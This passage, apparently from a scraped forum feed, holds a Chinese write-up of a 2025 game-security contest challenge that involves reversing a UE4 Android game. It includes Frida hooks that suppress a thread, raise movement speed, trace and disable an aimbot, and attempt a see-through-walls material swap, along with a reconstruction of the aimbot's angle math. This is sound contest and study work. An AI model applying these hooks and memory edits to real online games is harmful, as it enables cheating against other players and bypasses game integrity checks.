\\n\\n\\n\\n\\n\\n\\n\\n","description":"前言 上一年雖然止步於初賽,但之後找了時間復現了一下決賽,大概花了2、3周才復現完( 還是在有文章參考的情況下 ),內容很多,大致包括保護分析、vm分析、透視、自瞄實現。\\n\\n今年的決賽比較不同,他給了2種外掛,考察的是外掛功能的分析和外掛檢測,如下圖。\\n\\n我對外掛的實現與檢測都沒有太深入的研究,下文的檢測方式大多都是參考網上的文章現學現賣的,有寫錯的地方還請指正。\\n\\n前置準備\\n\\n三件套與初賽一樣:\\n\\nGName:0xADF07C0\\n\\nGObject:0xAE34A98\\n\\nGWorld:0xAFAC398\\n\\n利用GObject來dump SDK,記為SDKO…","guid":"https://bbs.kanxue.com/thread-286465.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2025-04-14T03:32:05.788Z","media":[{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_5Y22896KG9GEBRZ.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_VRFDY8H8DNZ9695.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_DZBM99FSXQFKBAY.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_7DYJ76TPN8FBZZC.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_V3JGNQN6CH9T5JD.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_G2WUZ6KY8V3X36N.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_KQJB5HH8UWGEB9E.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_TVCKMA27XK6F62K.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_KKFS4CPVYEJFFFV.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_XSHXJPBKGJBCE9G.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_7CH42474AX44TWS.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_FY98AMFBAXTDXVD.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_5PN7T55WCA3HTQR.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_BBEMC9B9P8D96YX.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_4EA2ZU79794JQXS.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_7D878HVD6UTSVD8.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_AHMX8PNZDWX9NVZ.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_4RV373NCVZZEJ7Q.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_Y2Y7NT9ZR2P8BN2.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_XNWGUEUT8ECQGUG.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_MSQUSQMFXJK9H3V.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_9ACZPAE79MQR7CZ.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_SEAFPF5T3PDUZ3P.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_3ZW2VV482GNJPEK.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_KJFDEUKZGN8RV55.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_ZDDSKZDHAG98KTY.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_WJUWUEVWET5VBYA.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_XKBD8KRGQMXHSEU.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_AC3YWBM5NXZ7ZCR.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_WFK3YPX52KG24M6.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_8K4DKYAC98G46VA.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_YYKRB4GA5XMTDQR.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_U7ZGTQJ3SYFYMXC.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_CW9R484J3P2575Z.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_B23SJR7PBM6J7U2.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_8PKV9NAGUNFDMAX.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_2RNE5MNJ29YVRH2.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_VH8CYSDJ36F3WM5.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_EFMB2USN6YGKJ26.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202504/946537_4JP7SUVCHVJG5TA.webp","type":"photo","width":0,"height":0,"blurhash":""}],"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创] 2025騰訊遊戲安全大賽(安卓初賽)","url":"https://bbs.kanxue.com/thread-286463.htm","content":"\\n\\n第一次聽說這比賽是上年偶然和舍友聊天時他告訴我的,沒想到還有以遊戲安全為主的比賽,當時看到有安卓的賽道就報名了,然後比賽時就被那門卡了2天,然後就沒有然後了。
\\n今年沒意外的話是我大學生涯的最後一年,也許也是最後一年打這個比賽了吧,下年也不知道有沒有空看看題。
\\n以下是我的解題記錄,一部份是比賽時寫的,一部份是賽後補充的,有寫錯的還請指正。
\\n版本:4.27
\\n
GName:0xADF07C0
GObject:0xAE34A98
dump sdk by GObject,記為SDKO.txt
1 | ./ue4dumper64 --sdku --newue+ --gname 0xADF07C0 --guobj 0xAE34A98 --package com.ACE2025.Game |
dump all objects,記為Objects.txt
1 | ./ue4dumper64 --objs --newue+ --gname 0xADF07C0 --guobj 0xAE34A98 --package com.ACE2025.Game |
題目說明如下,純粹的UE4逆向,無任何反調試。
\\n
hook pthread_create
,patch掉libGame.so
創建唯一一個線程後,速度不再異常。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | function hook_pthread() { var pthread_create_addr = Module.findExportByName(null, \'pthread_create\' ); console. log ( \\"pthread_create_addr,\\" , pthread_create_addr); var pthread_create = new NativeFunction(pthread_create_addr, \\"int\\" , [ \\"pointer\\" , \\"pointer\\" , \\"pointer\\" , \\"pointer\\" ]); Interceptor.replace(pthread_create_addr, new NativeCallback(function (parg0, parg1, parg2, parg3) { var so_name = Process.findModuleByAddress(parg2).name; var so_path = Process.findModuleByAddress(parg2).path; var so_base = Module.getBaseAddress(so_name); var offset = parg2 - so_base; // console.log(\\"so_name\\", so_name, \\"offset\\", offset, \\"path\\", so_path, \\"parg2\\", parg2); var PC = 0; if ((so_name.indexOf( \\"libGame.so\\" ) > -1)) { console. log ( \\"find thread func offset\\" , so_name, offset); if ((7068 === offset)) { console. log ( \\"anti bypass\\" ); } else { PC = pthread_create(parg0, parg1, parg2, parg3); console. log ( \\"ordinary sequence\\" , PC) } } else { PC = pthread_create(parg0, parg1, parg2, parg3); // console.log(\\"ordinary sequence\\", PC) } return PC; }, \\"int\\" , [ \\"pointer\\" , \\"pointer\\" , \\"pointer\\" , \\"pointer\\" ])) } |
由此可知相關邏輯就在libGame.so
創建的線程中。接下來分析它的實現原理。
用IDA動調線程回調函數sub_1B9C
。
進入後會看到明顯的控制流平坦化,先不管。
\\n打斷點進入case 12623
,分析後發現就是通過/proc/self/maps
獲取libUE4.so
的基址。
之後本想手動還原下控制流,但突然想起IDA有個D-810插件貌似能解控制流混淆,嘗試下,發現效果很好。
\\n獲取了libUE4_base
後會賦給infos[19]
。
然後*(_QWORD *)(libUE4_base_1 + 0xAFAC398)
獲取了libUE4.so
的一個全局變量,猜測是GWorld
。
用ue4dumper來驗證,發現能順利dump出SDK,由此可知0xAFAC398
的確是GWorld
。
記dump出來的文件為SDKW.txt
。
1 | . /ue4dumper64 --sdkw --newue+ --gname 0xADF07C0 --gworld 0xAFAC398 --package com.ACE2025.Game |
獲取GWorld
後,就能通過遍歷其中的屬性定位到FirstPersonCharacter_C
,具體原理如下,這是用frida實現的。
其中用了vtabs
( UObject
的第0
個成員屬性,虛表 )的函數偏移是否等於0xA63BE28
來確定是否FirstPersonCharacter_C
對象,0xA63BE28
大概是FirstPersonCharacter_C
的一個特徵?
最終通過修改CharacterMovementComponent
的MaxAcceleration
和MaxWalkSpeed
來改變人物速度。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | let GWorld = base.add(0xAFAC398).readPointer(); // FirstPersonExampleMap (GWorld) let PersistentLevel = GWorld.add(0x30).readPointer() // PersistentLevel let StreamingLevels = PersistentLevel.add(0x98).readPointer(); // StreamingLevelsToConsider.StreamingLevels let StreamingLevelsNum = PersistentLevel.add(0xA0).readU32(); let FirstPersonCharacter_C = null; for (let i = 0; i < StreamingLevelsNum; i++) { let StreamingLevel = StreamingLevels.add(i * 8).readPointer(); let vtabs = StreamingLevel.readPointer(); if (vtabs.sub(base) == 0xA63BE28) { // console.log(i, vtabs.readPointer()); FirstPersonCharacter_C = StreamingLevel; } } let CharacterMovementComponent = FirstPersonCharacter_C.add(0x288).readPointer() CharacterMovementComponent.add(0x1a0).writeFloat(1000000000) CharacterMovementComponent.add(0x18c).writeFloat(1000000000) |
在SDKO.txt
裡可以看到我的角色類裡有個ProjectileClass
成員,而它有個OnHit
成員函數
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | Class: MyProjectCharacter.Character.Pawn.Actor.Object SkeletalMeshComponent* Mesh1P; //[Offset: 0x4b8, Size: 0x8] SkeletalMeshComponent* FP_Gun; //[Offset: 0x4c0, Size: 0x8] SceneComponent* FP_MuzzleLocation; //[Offset: 0x4c8, Size: 0x8] // 槍口位置 SkeletalMeshComponent* VR_Gun; //[Offset: 0x4d0, Size: 0x8] SceneComponent* VR_MuzzleLocation; //[Offset: 0x4d8, Size: 0x8] CameraComponent* FirstPersonCameraComponent; //[Offset: 0x4e0, Size: 0x8] MotionControllerComponent* R_MotionController; //[Offset: 0x4e8, Size: 0x8] // for VR MotionControllerComponent* L_MotionController; //[Offset: 0x4f0, Size: 0x8] // for VR float BaseTurnRate; //[Offset: 0x4f8, Size: 0x4] // 左右轉向速率 float BaseLookUpRate; //[Offset: 0x4fc, Size: 0x4] // 上下轉向速率 Vector GunOffset; //[Offset: 0x500, Size: 0xc] class MyProjectProjectile* ProjectileClass; //[Offset: 0x510, Size: 0x8] SoundBase* FireSound; //[Offset: 0x518, Size: 0x8] AnimMontage* FireAnimation; //[Offset: 0x520, Size: 0x8] bool bUsingMotionControllers; //(ByteOffset: 0, ByteMask: 1, FieldMask: 1)[Offset: 0x528, Size: 0x1] float RecoilPitch; //[Offset: 0x52c, Size: 0x4] // 後座力 float RecoilYaw; //[Offset: 0x530, Size: 0x4] // 後座偏航 float RecoilRecoverySpeed; //[Offset: 0x534, Size: 0x4] // 後座力恢復速度 float RecoilAccumulationRate; //[Offset: 0x538, Size: 0x4] // 後座力累積率 Class: MyProjectProjectile.Actor.Object SphereComponent* CollisionComp; //[Offset: 0x220, Size: 0x8] ProjectileMovementComponent* ProjectileMovement; //[Offset: 0x228, Size: 0x8] void OnHit(PrimitiveComponent* HitComp, Actor* OtherActor, PrimitiveComponent* OtherComp, Vector NormalImpulse, out const HitResult Hit); // 0x67138e8 |
嘗試hook OnHit
,分別在enter和leave時打印CameraRotation
,發現兩者相等,即在enter前就已經完成自瞄,代表相關的自瞄邏輯不在這裡。
1 2 3 4 5 6 7 8 9 10 11 12 13 | function hook_onHit() { // void OnHit(PrimitiveComponent* HitComp, Actor* OtherActor, PrimitiveComponent* OtherComp, Vector NormalImpulse, out const HitResult Hit);// 0x67138e8 Interceptor.attach(base.add(0x6711D34), { onEnter: function(args) { console. log ( \\"[onHit] enter: \\" , JSON.stringify(getCameraRotation())) }, onLeave: function() { // setCameraRotation([100, 200, 0]) console. log ( \\"[onHit] leave: \\" , JSON.stringify(getCameraRotation())) } }) } |
對CameraRotation
下硬斷( 寫 ),命中信息如下:
命中PC:0x799F6637C0
libUE4 base:0x7996b2b000
計算得Offset為0x8B387C0
IDA跳到0x8B387C0
,如下:
記0x8B387C0
所在函數為mb_aimbot
,嘗試直接patch掉mb_aimbot
,發現patch後人物無法轉動視角。
1 2 3 4 5 | function patch_mb_aimbot() { Interceptor.replace(base.add(0x8B3861C), new NativeCallback(() => { console. log ( \\"patch mb_aimbot\\" ) }, \\"void\\" , [])) } |
hook mb_aimbot
,打印調用棧,未點擊時,調用棧如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | [hook_aimbot] 799fa8e604 is in libUE4.so offset: 0x8f9b604 799fa92444 is in libUE4.so offset: 0x8f9f444 799fa9a358 is in libUE4.so offset: 0x8fa7358 799fcf0b8c is in libUE4.so offset: 0x91fdb8c 799d2c1bb0 is in libUE4.so offset: 0x67cebb0 799d2c1730 is in libUE4.so offset: 0x67ce730 799d2c0e24 is in libUE4.so offset: 0x67cde24 799fcecc04 is in libUE4.so offset: 0x91f9c04 799fcea3bc is in libUE4.so offset: 0x91f73bc 799f82e760 is in libUE4.so offset: 0x8d3b760 799f6f98f0 is in libUE4.so offset: 0x8c068f0 799d93f614 is in libUE4.so offset: 0x6e4c614 799c5ee728 is in libUE4.so offset: 0x5afb728 799c5e83bc is in libUE4.so offset: 0x5af53bc 799c5e6514 is in libUE4.so offset: 0x5af3514 [hook_aimbot] 79a03df660 is in libUE4.so offset: 0x98ec660 799fcf0b8c is in libUE4.so offset: 0x91fdb8c 799d2c1bb0 is in libUE4.so offset: 0x67cebb0 799d2c1730 is in libUE4.so offset: 0x67ce730 799d2c0e24 is in libUE4.so offset: 0x67cde24 799fcecc04 is in libUE4.so offset: 0x91f9c04 799fcea3bc is in libUE4.so offset: 0x91f73bc 799f82e760 is in libUE4.so offset: 0x8d3b760 799f6f98f0 is in libUE4.so offset: 0x8c068f0 799d93f614 is in libUE4.so offset: 0x6e4c614 799c5ee728 is in libUE4.so offset: 0x5afb728 799c5e83bc is in libUE4.so offset: 0x5af53bc 799c5e6514 is in libUE4.so offset: 0x5af3514 |
點擊後,多了一個不同的調用棧0x670f3fc
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | [hook_aimbot] 799d2f83fc is in libUE4.so offset: 0x670f3fc 7a136f0c94 is in libart.so offset: 0x2e6c94 799d2f8eb0 is in libUE4.so offset: 0x670feb0 799fe51e38 is in libUE4.so offset: 0x9268e38 799fe4fe04 is in libUE4.so offset: 0x9266e04 799fb8958c is in libUE4.so offset: 0x8fa058c 799fb886f4 is in libUE4.so offset: 0x8f9f6f4 799d3b9420 is in libUE4.so offset: 0x67d0420 799fb88374 is in libUE4.so offset: 0x8f9f374 799f49b7bc is in libUE4.so offset: 0x88b27bc 799fb90358 is in libUE4.so offset: 0x8fa7358 799fde6b8c is in libUE4.so offset: 0x91fdb8c 799d3b7bb0 is in libUE4.so offset: 0x67cebb0 799d3b7730 is in libUE4.so offset: 0x67ce730 799d3b6e24 is in libUE4.so offset: 0x67cde24 799fde2c04 is in libUE4.so offset: 0x91f9c04 |
嘗試patch掉0x670f3fc
所在函數0x670F110
,雖然點擊後不會再自動瞄到某處,但子彈射不出。
由此猜測0x670F110
是射擊的回調函數,自瞄邏輯應該就在裡面。
記0x670F110
為process_before_shoot
。
1 2 3 | Interceptor.replace(base.add(0x670F110), new NativeCallback(() => { return 1; }, \\"int\\" , [])) |
在0x670F110
中從調用mb_aimbot
處向上分析,發現是否調用mb_aimbot
邏輯是由sub_680B790(v32, \\"E\\")
決定的。
hook sub_680B790
,打印參數和返回值。
注:hexdump
後可知是unicode編碼的字符串,因此要用readUtf16String
。
1 2 3 4 5 6 7 8 9 10 11 12 13 | function hook_680B790() { Interceptor.attach(base.add(0x680B790), { onEnter: function(args) { this .a1 = args[1]; console. log ( \\"a0: \\" , args[0].readUtf16String()); console. log ( \\"a1: \\" , args[1].readUtf16String()); }, onLeave: function(retval) { console. log ( \\"res: \\" , retval); } }) } |
輸出如下,可以看出是字符串對比函數,res
是a0
、a1
第1個不相等字符的差值,若相等則為0
( 不區分大小寫 )。記sub_680B790
為utf16_cmp
。
可以看到前面一直在和EditorCube8
對比,明顯它就是自瞄的目標,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 | a0: BigWall a1: EditorCube8 res: 0xfffffffd a0: BigWall2 a1: EditorCube8 res: 0xfffffffd a0: EditorCube10 a1: EditorCube8 res: 0xfffffff9 a0: EditorCube11 a1: EditorCube8 res: 0xfffffff9 a0: EditorCube12 a1: EditorCube8 res: 0xfffffff9 a0: EditorCube13 a1: EditorCube8 res: 0xfffffff9 a0: EditorCube14 a1: EditorCube8 res: 0xfffffff9 a0: EditorCube15 a1: EditorCube8 res: 0xfffffff9 a0: EditorCube16 a1: EditorCube8 res: 0xfffffff9 a0: EditorCube17 a1: EditorCube8 res: 0xfffffff9 a0: EditorCube18 a1: EditorCube8 res: 0xfffffff9 a0: EditorCube19 a1: EditorCube8 res: 0xfffffff9 a0: EditorCube20 a1: EditorCube8 res: 0xfffffffa a0: EditorCube21 a1: EditorCube8 res: 0xfffffffa a0: EditorCube8 a1: EditorCube8 res: 0x0 a0: EditorCube9 a1: EditorCube8 res: 0x1 a0: Floor_12 a1: EditorCube8 res: 0x1 a0: Wall1 a1: EditorCube8 res: 0x12 a0: Wall2_11 a1: EditorCube8 res: 0x12 a0: Wall3 a1: EditorCube8 res: 0x12 a0: Wall4 a1: EditorCube8 res: 0x12 a0: ../../../MyProject/Saved/Config/Android/Engine.ini a1: ../../../MyProject/Saved/Config/Android/Engine.ini res: 0x0 a0: true a1: True res: 0x0 a0: Android a1: Android res: 0x0 a0: Android a1: Android res: 0x0 a0: Android a1: Android res: 0x0 |
嘗試在a1
為EditorCube8
時將返回值固定replace為一個大於0
的值。
1 2 3 4 5 6 7 8 9 10 | Interceptor.attach(base.add(0x680B790), { onEnter: function(args) { this .a1 = args[1]; }, onLeave: function(retval) { if ( this .a1.readUtf16String() == \\"EditorCube8\\" ) { retval.replace(5); } } }) |
結果是射擊時不再自動瞄到指定目標,但手槍在射完後會向上抬一下,類似後座力?不知是否屬於異常點。
\\n下面簡單看看它的自瞄實現原理:
\\n從process_before_shoot
開始看,一開始先遍歷自瞄目標。
然後調用calcTargetOffset
計算自瞄值,然後根據這個值來設置CameraRotation
( 人物相機的轉向,使它朝向目標以實現自瞄的效果 )。
calcTargetOffset
實現大概像這樣:利用目標location與人物的location向量來計算。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | function calcTargetOffset(targetLoc, cameraLoc) { let x = targetLoc.x - cameraLoc.x; let y = targetLoc.y - cameraLoc.y; let z = targetLoc.z - cameraLoc.z; let angleX = 0; let angleY = 0; if (x > 0 && y == 0) angleX = 0; if (x > 0 && y > 0) angleX = Math. abs (Math. atan (y / x)) / Math.PI * 180; if (x == 0 && y > 0) angleX = 90; if (x < 0 && y > 0) angleX = 90 + Math. abs (Math. atan (x / y)) / Math.PI * 180; if (x < 0 && y == 0) angleX = 180; if (x < 0 && y < 0) angleX = 180 + Math. abs (Math. atan (y / x)) / Math.PI * 180; if (x == 0 && y < 0) angleX = 270; if (x > 0 && y < 0) angleX = 270 + Math. abs (Math. atan (x / y)) / Math.PI * 180; if (angleX < 0) { angleX += 360; } if (angleX > 360) { angleX -= 360; } angleY = Math. atan (z / Math. sqrt (x * x + y * y)) / Math.PI * 180; if (angleY < 0) { angleY += 360; } return [angleY, angleX, 0] } |
可以明顯看出子彈發射的起始位置是隨機的。
\\n猜測可能與MyProjectCharacter
的GunOffset
有關。
1 2 3 | Class: MyProjectCharacter.Character.Pawn.Actor.Object // ... Vector GunOffset; //[Offset: 0x500, Size: 0xc] |
對GunOffset
下硬斷( 讀 )。
命中如下兩處地址:
\\n1 2 3 | // libUE4 base: 6f6c74e000 1. PC: 0x6F7307EA6C (0x6930A6C) LR: 0x6F7307EA68 2. PC: 0x6F7307EA7C (0x6930A7C) LR: 0x6F7307EA68 |
0x6930A6C
所在函數是sub_6930A3C
。
hook sub_6930A3C
打印調用棧。
其中0x670f658
位於0x670F110
函數( 即process_before_shoot
)。
1 2 3 4 5 6 7 | 6f72e75e24 is in libUE4.so offset: 0x670fe24 6f72e75658 is in libUE4.so offset: 0x670f658 (位於0x670F110) 6f72e75eb0 is in libUE4.so offset: 0x670feb0 6f72e75eb0 is in libUE4.so offset: 0x670feb0 6f759cee38 is in libUE4.so offset: 0x9268e38 6f759cce04 is in libUE4.so offset: 0x9266e04 6fe951f09c is in libart.so offset: 0x59b09c |
process_before_shoot
中有調用rand()
生成隨機值,猜測這與槍口的隨機有關。
嘗試hook rand
固定其返回值。
1 2 3 4 5 6 7 8 | function hook_rand() { Interceptor.attach(Module.findExportByName(null, \\"rand\\" ), { onLeave: function(retval) { retval.replace(100); console. log ( \\"[rand] res: \\" , retval); } }) } |
結果是子彈發射位置固定了,但是固定在了人物的頭上偏左的位置。
\\n繼續嘗試其他修復思路。
\\n讓process_before_shoot
中的a1[0x14A] & 1
不為0
,目的是讓執行流無法走到上述的0x6930A6C
位置。
1 2 3 4 5 6 7 8 9 10 11 12 13 | function hook_process_before_shoot() { Interceptor.attach(base.add(0x670F110), { onEnter: function(args) { let val = args[0].add(0x528).readU8(); args[0].add(0x528).writeU8(val | 1); console. log ( \\"[process_before_shoot] a1[0x14A] & 1: \\" , args[0].add(0x528).readU8() & 1) }, onLeave: function(retval) { } }) } |
結果同樣可以固定子彈發射的位置,但這次是在人物的下方固定向正前方發射,上下抬頭時不會改變發射方向。
\\n以下部份是賽後的分析。
\\n若a1[0x14A] & 1
為0
,會調用about_bullt_loc1
生成一些隨機值,調用about_bullt_loc2
生成一個基於GunOffset
等參數而來的值,最終傳入mb_process_bullet_shoot_loc
做最後的處理。
而當a1[0x14A] & 1
為1
時,則會從VR_MuzzleLocation
裡獲取一些參數,最終同樣傳入mb_process_bullet_shoot_loc
。
注:通過hook所在函數,將*((QWORD*)a1 + 155)
當成UObject
來打印它的名字,從而確定它是VR_MuzzleLocation
對象。
但VR_MuzzleLocation
看名字來說是給VR設備使用的,安卓設備感覺是使用FP_MuzzleLocation
才對。
因此合理懷疑這也是一個異常點。
\\n1 2 3 4 5 6 | Class: MyProjectCharacter.Character.Pawn.Actor.Object SkeletalMeshComponent* Mesh1P; //[Offset: 0x4b8, Size: 0x8] SkeletalMeshComponent* FP_Gun; //[Offset: 0x4c0, Size: 0x8] SceneComponent* FP_MuzzleLocation; //[Offset: 0x4c8, Size: 0x8] // 槍口位置 SkeletalMeshComponent* VR_Gun; //[Offset: 0x4d0, Size: 0x8] SceneComponent* VR_MuzzleLocation; //[Offset: 0x4d8, Size: 0x8] |
hook process_before_shoot
,從IDA裡可知args[0].add(0x4D8)
保存著VR_MuzzleLocation
對象的地址,嘗試將它改為FP_MuzzleLocation
的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | function hook_test() { Interceptor.attach(base.add(0x670F110), { onEnter: function(args) { console. log ( \\"[process_before_shoot]\\" ); let VR_MuzzleLocation = args[0].add(0x4D8) VR_MuzzleLocation.writePointer(All_Objects[ \\"MuzzleLocation\\" ]) printName(VR_MuzzleLocation.readPointer()); }, onLeave: function(retval) { } }) } |
結果是子彈終於會隨著槍口的變化而變化,但卻是從槍口往左發射的,正常應該是往前才對。
\\n接下來嘗試修改FP_MuzzleLocation
裡的一些參數,看看能否改變發射方向。
FP_MuzzleLocation
屬於USceneComponent
類,其中有以下這兩個屬性:
1 2 3 4 | Class: SceneComponent.ActorComponent.Object //... Vector RelativeLocation; //[Offset: 0x11c, Size: 0xc] Rotator RelativeRotation; //[Offset: 0x128, Size: 0xc] |
利用K2_SetRelativeLocation
和K2_SetRelativeRotation
函數來修改。通過不斷嘗試,發現只需要將Rotation設置為[0, 90, 0]
即可,相當於旋轉了90度。完整修複代碼如下:
注:不能直接通過內存來修改,要用API來修改。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | function fix_MuzzleLocation() { Interceptor.attach(base.add(0x670F110), { onEnter: function(args) { console. log ( \\"[process_before_shoot]\\" ); /* API */ let K2_SetRelativeLocation = new NativeFunction(base.add(0x8AE6D70), \\"void\\" , [ \\"pointer\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"bool\\" , \\"pointer\\" , \\"bool\\" ]); let K2_SetRelativeRotation = new NativeFunction(base.add(0x8AE6F00), \\"void\\" , [ \\"pointer\\" , \\"float\\" , \\"float\\" , \\"float\\" , \\"bool\\" , \\"pointer\\" , \\"bool\\" ]); // K2_SetRelativeLocation(All_Objects[\\"MuzzleLocation\\"], 0, 0, 0, 0, ptr(0), 0); K2_SetRelativeRotation(All_Objects[ \\"MuzzleLocation\\" ], 0, 90, 0, 0, ptr(0), 0); /* Prop */ let RelativeLocation = All_Objects[ \\"MuzzleLocation\\" ].add(0x11c); let RelativeRotation = All_Objects[ \\"MuzzleLocation\\" ].add(0x128); console. log ( \\"location: \\" , JSON.stringify(readVector(RelativeLocation))) console. log ( \\"rotation: \\" , JSON.stringify(readVector(RelativeRotation))) // Replace let MuzzleLocation = args[0].add(0x4D8) MuzzleLocation.writePointer(All_Objects[ \\"MuzzleLocation\\" ]) }, onLeave: function(retval) { } }) } |
在Objects.txt
裡可以看到FirstPersonCharacter_C
和ThirdPersonCharacter_C
,它們分別是我控制的人物和假人。
1 2 3 4 5 6 7 8 9 10 11 | [0x3c05]: Name: FirstPersonCharacter_C Class: FirstPersonCharacter_C ObjectPtr: 0x71694840c0 ClassPtr: 0x7169582700 [0x3c53]: Name: ThirdPersonCharacter Class: ThirdPersonCharacter_C ObjectPtr: 0x7168662630 ClassPtr: 0x716958c100 |
嘗試一:替換Material。( 沒效果 )
\\n1 2 3 4 5 6 7 8 9 10 11 12 | let ThirdPersonCharacter_Mesh = ThirdPersonCharacter_obj.add(Offset.ACharacterToUSkeletalMeshComponent).readPointer(); let SetMaterial = new NativeFunction(ThirdPersonCharacter_Mesh.readPointer().add(0x598).readPointer(), \\"void\\" , [ \\"pointer\\" , \\"int\\" , \\"pointer\\" ]); SetMaterial(ThirdPersonCharacter_Mesh, 0, All_Objects[ \\"BaseMaterial\\" ]); // SetMaterial(ThirdPersonCharacter_Mesh, 0, All_Objects[\\"DefaultTextMaterialOpaque\\"]); // SetMaterial(ThirdPersonCharacter_Mesh, 0, All_Objects[\\"m_SimpleVolumetricCloud\\"]); // SetMaterial(ThirdPersonCharacter_Mesh, 0, All_Objects[\\"DefaultSpriteMaterial\\"]); // SetMaterial(ThirdPersonCharacter_Mesh, 0, All_Objects[\\"PokeAHoleMaterial\\"]); // SetMaterial(ThirdPersonCharacter_Mesh, 0, All_Objects[\\"OculusMR_ChromaKey\\"]); // SetMaterial(ThirdPersonCharacter_Mesh, 0, All_Objects[\\"DebugMeshMaterial\\"]); // SetMaterial(ThirdPersonCharacter_Mesh, 0, All_Objects[\\"EmissiveMeshMaterial\\"]); |
嘗試二:設置bDisableDepthTest
為0
。( 沒效果 )
